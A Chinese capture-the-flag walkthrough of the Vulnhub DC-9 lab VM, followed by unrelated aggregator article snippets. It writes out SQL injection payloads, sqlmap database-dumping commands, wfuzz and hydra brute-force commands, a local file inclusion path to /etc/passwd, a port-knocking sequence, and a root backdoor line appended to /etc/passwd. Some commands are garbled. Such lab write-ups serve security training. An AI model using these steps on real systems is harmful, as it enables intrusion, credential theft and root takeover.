Vulnhub-DC 9

信息收集

arp-scan -l
image.png
发现192.168.119.155 IP 段
扫描端口 --服务
image.png
22 端口 — 80 端口
这里22端口有一个(filtered)过滤的保护
先针对80端口进行一个查看
这是一个员工详细表 -----那就是说可以查看员工信息
image.png
发现一个查询框和一个登录框
image.png image.png

1:查询框是否存在SQL注入呢
2:登录框是否可以弱口令暴力破解呢
** nikto -host 192.168.119.155 (web 漏洞扫描工具)**
image.png
发现了 /config.php: PHP Config file may contain database IDs and passwords.
说可能存在数据库ID账号密码
。。 一片空白没有啥 —下面还有一个网页
这像是一个文件包含文件上传啊
还有几个网页也都没有什么信息
image.png
返回 页面

SQl注入

测试能否存在SQl注入
1’or’1’=‘1
’ or 1=1 #
image.pngimage.png
存在SQL注入
是POST传参的方式
image.png
使用SQlmap 工具 查询
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1”
扫出来了 大概率使用mysql注入的
image.png
基于时间的盲注
组合注入
image.png
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” --dbs
image.png
有三个数据库
这个肯定得先看users 数据库
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D users --tables
有一个数据表UserDetails
image.png
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D users -T UserDetails --dump
一个用户表 —尝试登录一下
image.png
发现用户密码尝试一下暴力破解
把用户和密码添加到一个字典
使用FUZZ
wfuzz -z file,user_dict.txt -z file,passwd_dict.txt -d “username=FUZZ&password=FUZ2Z” http://192.168.119.155/manage.php
image.png
过滤一下
wfuzz --hw 93 -z file,user_dict.txt -z file,passwd_dict.txt -d “username=FUZZ&password=FUZ2Z” http://192.168.119.155/manage.php
image.png
结果都没有 那再测试一下另外一个数据库

sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D Staff --tables
这里也有一个users 数据表查看一下 这个里面是不是会才是对的image.png
sqlmap -u "http://192.168.119.155/results.php" --data=“search=1” -D Staff -T Users --dump
扫出来了一个账号密码 是一个md5 加密的
密码已经哈希碰撞出来了 (transorbital1)
image.png
登录一下
结果登录成功了
image.png
本来打算在Add Record 添加一句话试一下 好像不行

本地文件包含

**File does not exis file很有可能存在文件包含 **
wfuzz 测试一下
wfuzz -b ‘PHPSESSID=j8d0k7trk2maekqj955j4d3fn5’ -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.119.155/manage.php?FUZZ=…/…/…/…/…/etc/passwd
image.png
wfuzz --hw 100 -b ‘PHPSESSID=j8d0k7trk2maekqj955j4d3fn5’ -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.119.155/manage.php?FUZZ=…/…/…/…/…/etc/passwd
存在file 文件包含
image.png
访问一下 ------果然是存在本地文件包含的

Hydra字典爆破连接

image.png
这是一个系统的用户和之前的第一个users 相似 尝试一下破解
ssh 使用字典连接
出现错误 是因为开头就说了他好像带有过滤
使用了端口敲门服务
Port Knocking
原理简单分析:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
image.png
在/etc/knockd 配置文件
image.png
访问
image.png
必须要敲7469,8547,9842
可以使用nmap -p
for x in 7469 8475 9842 22 ;do nc 192.168.119.155 $x;done
image.png
再次尝试
hydra -L user_dict.txt -P passwd_dict.txt 192.168.119.155 ssh
有三个shh用户可以连接
image.png
连接一下 —登录成功
image.png

隐藏文件

ls -a 查看隐藏的文件
只有 janitor 用户有一个可疑的隐藏文件 --其他都没有
image.png
有一个密码文件
image.png
发现了这个密码 猜想是不是还有其他的用户刚才的密码不匹配把这个几个密码加上试一下
发现一个新的用户尝试登录

添加用户提权

image.png
image.png
sudo -l 查看那些文件是使用root权限可执行的
真的有
可以看到fredf可以不用密码以root权限执行/opt/devstuff/dist/test/test的文件
image.png
进入opt/devstuff/dist/test 发现是python文件
查找一下python 可执行文件
find / -name “test.py” 2>/dev/null
image.png
找到一个test.py 在/opt/devstuff
查看源码
image.png
fredf 用户可以用root的身份去执行test程序
test可以读取任意文本内容 ,追加到任意文本里面
这里直接添加一个管理员文本,添加到/etc/passwd文件里面去)
openssl 加密
image.png
写入/tmp目录下
echo ‘aaaa: 1 1 1aaaa$6q.rdPNbxQRHQa/Hb6h0B1:0:0:root:/root:/bin/bash’ >> /tmp/passwd
image.png
提权成功
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/756388.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

信息系统项目管理师(项目整合管理)

项目的复杂性来源于组织的系统行为,人类行为以及组织或环境中的不确定性。在项目整合前,项目经理需要考虑项目面临的内外部环境因素,检查项目的特征或属性。作为项目的一种特征或熟悉,复杂性的含义:包含多个部分&#…

武汉星起航:一站式服务,助力亚马逊卖家高效运营,实现收益飞跃

在跨境电商的浪潮中,武汉星起航电子商务有限公司以其独特的一站式跨境电商服务,为众多亚马逊卖家提供了强有力的支持,助力他们在不断发展的市场中脱颖而出,实现收益的大幅提升。 武汉星起航的一站式跨境电商服务,以其…

【一生一芯】笔记

文章目录 一级目录二级目录三级目录缓存的验证 一级目录 二级目录 三级目录 缓存的验证

Linux 的启动流程

第一步、加载内核 操作系统接管硬件以后,首先读入 /boot 目录下的内核文件。 以我的电脑为例,/boot 目录下面大概是这样一些文件: $ ls /bootconfig-3.2.0-3-amd64config-3.2.0-4-amd64grubinitrd.img-3.2.0-3-amd64initrd.img-3.2.0-4-amd6…

为什么word生成的PDF内容显示不全?

在现代办公环境中,将文档从一个格式转换为另一个格式是一个常见的任务。然而,有时候我们可能会遇到意想不到的问题,比如使用Word转换成PDF时,生成的PDF文件只显示了整个界面的四分之一内容。这种问题不仅令人困扰,也可…

【React】代码简化与拓展安装

安装如下拓展: 只需敲击rcc即可搭建框架

操作系统期末复习考题二

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、前言🚀🚀🚀二、正文☀️☀️☀️三、总结🍓🍓🍓 一、前言🚀🚀&am…

如何修改PDF文档的作者名称?

要修改一个 PDF 文档的作者名称,你可以按照以下步骤进行操作: 1. **使用 Adobe Acrobat**(如果有): - Adobe Acrobat 是一个功能强大的 PDF 编辑工具,支持修改文档属性信息,包括作者名称。打开…

5个编写技巧,有效提高单元测试实践

1. 什么是单元测试 “在计算机编程中,单元测试又称为模块测试,是针对程序模块来进行正确性检验的测试工作。程序单元是应用的最小可测试部件。在过程化编程中,一个单元就是单个程序、函数、过程等;对于面向对象编程,最…

AI基础:从线性回归到梯度下降

一个简单的问题: 如果此时你正站在迷路缭绕的山坡上,能见度不高,但是你又想去往最低的山谷的位置,怎么走? 很简单,哪里陡那就往那里走呗——而这就是梯度下降算法的思想。 古话说:“先发制于人…

分享一个导出数据到 Excel 的解决方案

前言 许多业务场景下需要处理和分析大量的数据,而 Excel 是广泛使用的文件格式,几乎所有人都能打开和查看 Excel 文件,因此将数据库中的原始数据处理后,导出到 Excel 是一个很常见的功能,对于数据管理、分析、备份、展…

相关作业调度算法的完成时间、周转时间、平均周转时间等问题

☀️☀️☀️ 相关作业调度算法的完成时间、周转时间、平均周转时间等问题 ​ 周转时间:从作业被提交给系统开始,到作业完成为止的这段时间间隔称为作业周转时间。 带权周转时间:即作业的周转时间T与系统为它提供服务的时间Ts之比&#xff…

理解GPT2:无监督学习的多任务语言模型

目录 一、背景与动机 二、卖点与创新 三、几个问题 四、具体是如何做的 1、更多、优质的数据,更大的模型 2、大数据量,大模型使得zero-shot成为可能 3、使用prompt做下游任务 五、一些资料 一、背景与动机 基于 Transformer 解码器的 GPT-1 证明…

FPGA 690T NVME高速存储设计

高速存储设计会有各种需求的考虑,那么对应的方案也不完全相同,这篇文章出一期纯FPGA实现的高速存储方案。用纯fpga实现高速存储板卡有易国产化,功耗低和体积小等特点,缺点就是灵活性不是很强,实现标准ext4和nfs文件系统…

Cent0S7 Docker安装 YOLOv8

githup 源码及其作者:ultralytics/ultralytics:新增 - PyTorch 中的 YOLOv8 🚀 > ONNX > OpenVINO > CoreML > TFLite (github.com) yolo是什么? 实时视觉检测技术,通过对不同的角度拍摄的视觉图片进行人…

源码学习:文件描述符

在进程描述学习中,扯到了max_fds,接着就联想到了日常运维中常见的ulimit参数、sysctl内核参数,原来以为max_fds与这些个关联性比较强,但经过一早上折腾以后,发现其实还是有一些差距的。但是在学习过程中,却…

Al+医学,用这个中文多模态医学大模型帮你看胸片

随着人工智能技术的飞速发展,AI 在医学领域的应用已经成为现实。特别是在医学影像诊断方面,AI 大模型技术展现出了巨大的潜力和价值,但目前针对中文领域医学大多模态大模型还较少。 今天马建仓为大家介绍的这款 XrayGLM,就是由澳…

Redis-实战篇-缓存更新策略(内存淘汰、超时剔除、主动更新)

文章目录 1、缓存更新策略1.1、内存淘汰1.2、超时剔除1.3、主动更新 2、业务场景:3、主动更新在企业中业务实现有三种方式3.1、Cache Aside Pattern3.1.1、操作缓存和数据库时有三个问题需要考虑:3.1.1.1、删除缓存还是更新缓存?3.1.1.2、如何…

大模型应用-多模态和大模型是如何相互成就的

前言 如果单纯的将大模型用来聊天,那就是low了。 而多模态赋予了大模型更多的现实价值,大模型则助力多模态变得更强大。 多模态 我们所处的是一个物理世界,不同事物之间模态多种多样,即便是简单的文本,按照语言&am…